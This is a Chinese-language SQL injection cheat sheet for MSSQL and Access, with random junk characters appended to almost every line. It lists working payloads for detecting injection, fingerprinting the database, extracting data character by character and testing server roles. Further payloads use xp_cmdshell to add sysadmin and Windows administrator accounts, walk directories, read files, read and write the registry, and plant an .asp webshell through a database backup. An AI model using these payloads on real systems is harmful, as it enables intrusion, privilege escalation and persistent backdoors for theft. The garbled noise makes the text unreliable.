1.判断是否有注入;and 1=1 ;and 1=2 l}h!B_P'
2.初步判断是否是mssql ;and user>0 "tZe>>I
K:M8h{Ua
3.注入参数是字符'and [查询条件] and ''=' =D(j)<9$A
m~|40)
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ;"I^ZFYX
cK@wsA^4
5.判断数据库系统 <v2;p}A
Q59suL
;and (select count(*) from sysobjects)>0 mssql ~Ei<Z`3}7"
+ 3gp%`c4
;and (select count(*) from msysobjects)>0 access =wJX0A|
K"6vXv4QO
iscz}E,Y
{:s f7
6.猜数据库 ;and (select Count(*) from [数据库名])>0 qK+5NF|
Sdo-nt
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Ef\-VKh
hPh-+Hb
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 s~>}a
r%_djUd
9.(1)猜字段的ascii值(access) U:`Kss`
=I<R! ZSN
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 aXVFc5C\
Qrv<lE1V;
(2)猜字段的ascii值(mssql) t1".0
baasGa3}s
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ks tIgcI
b>|6t~}M
10.测试权限结构(mssql) 3Vwh|1?
l}
/F*
hxx.9x>ow
K9[UB
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- H}!r|nG
EnR}IY&sI
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _t$sgz&
1\Xw3prH
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- pmM9,6P4@
Z;i:](
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Dv"9qk
W!X@
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- |4JEU3\$
45e~6",
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- sB</DS
XSDpRo
;and 1=(select IS_MEMBER('db_owner'));-- '%qr.T
%
CAJ'zA|o
r$1Qf}J3=
|>Vb9:q9Po
11.添加mssql和系统的帐户 ok[i<zl;'
97]E1j]
;exec master.dbo.sp_addlogin username;-- <} .$l
;exec master.dbo.sp_password null,username,password;-- "g|#B4'e
NUZl`fu1Z4
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6<]lW
b-DvW4B
;exec master.dbo.xp_cmdshell 'net user username password M+>u/fldV
3Ul*QN{6
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- S!UaH>Rh
3<!7>]A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- M7T5
~/4
%4H%?4
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Sf'CN8
QY/w
zdYjF|
\<' ?8ri#
12.(1)遍历目录 DF= *_,2/
Ie_wHcM<
;create table dirs(paths varchar(100), id int) +R &gqja
paK2xX8E
;insert dirs exec master.dbo.xp_dirtree 'c:\' *T/']t
#4PN"o@
;and (select top 1 paths from dirs)>0 w}KkvP^
6'/ #+,d'
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) _U(
Nc`L;CP
Y|n"dMrL
"[J^YKoF
(2)遍历目录 +rd+0 `}C
e=
AKD#
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8=l%5r^cq
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ?
k /`
@5FQX
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 bw7@5=?;
Ytkv!]"
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 k:;r2f
\dVOwr
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 v+XJ*N[W
(HVGlw'`
X8|,
DVA:Cmh\
13.mssql中的存储过程 :>
'+"M2r
;I}fBZ3
xp_regenumvalues 注册表根键, 子键 $i&zex{\
uFE)17E
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 CZ;6@{ o
Y7|EIAU5Y
xp_regread 根键,子键,键值名 w{KavU5W
Hka2
;exec xp_regread L,\Iasv
aUp
g u"
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 80I#TA6C
w:0E(z
xp_regwrite 根键,子键, 值名, 值类型, 值 p{_" bB
@C$]//;
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 s<Ziegmw|g
+>,I1{u%&
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 m`XHKRp
3BI1fXT4=j
xp_regdeletevalue 根键,子键,值名
s!J9|]o
R_C)
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 _f83-':W6
A^g(k5M*
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Nb\4 /;#
&~CI<\o P
];m_4
LV Ge]lD
14.mssql的backup创建webshell Xvu(vA
tw;}jh
use model 1Mzmg[L8
1M 6D3d_
create table cmd(str image); a(nlTMfu
dd;~K&_Q/i
insert into cmd(str) values (''); ?9/G[[(
o&%g8=n%
backup database model to disk='c:\l.asp'; .*oU]N%K=
i5Ggf"![
23PGq%R
**%37
15.mssql内置函数 lxx2H1([
"jZ-,P=
;and (select @@version)>0 获得Windows的版本号 FrS]|=LJhX
jcOcWB|
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1}x%%RD_
HJ"GnZp<
;and (select user_name())>0 爆当前系统的连接用户 uRvP hkqm
,+k\p5P
;and (select db_name())>0 得到当前连接的数据库 [y(MCf19
)nkY_'BV
4(+PD&_J
%b$>qW\*&
16.简洁的webshell )A6<c%d =x
q V=!ORuj
use model )9g2D`a4
|Cv!,]9:r
create table cmd(str image); (.:e,l{U%
y[;>#j$
insert into cmd(str) values (''); l?e.9o2-
WWY6ha
backup database model to disk='g:\wwwtest\l.asp';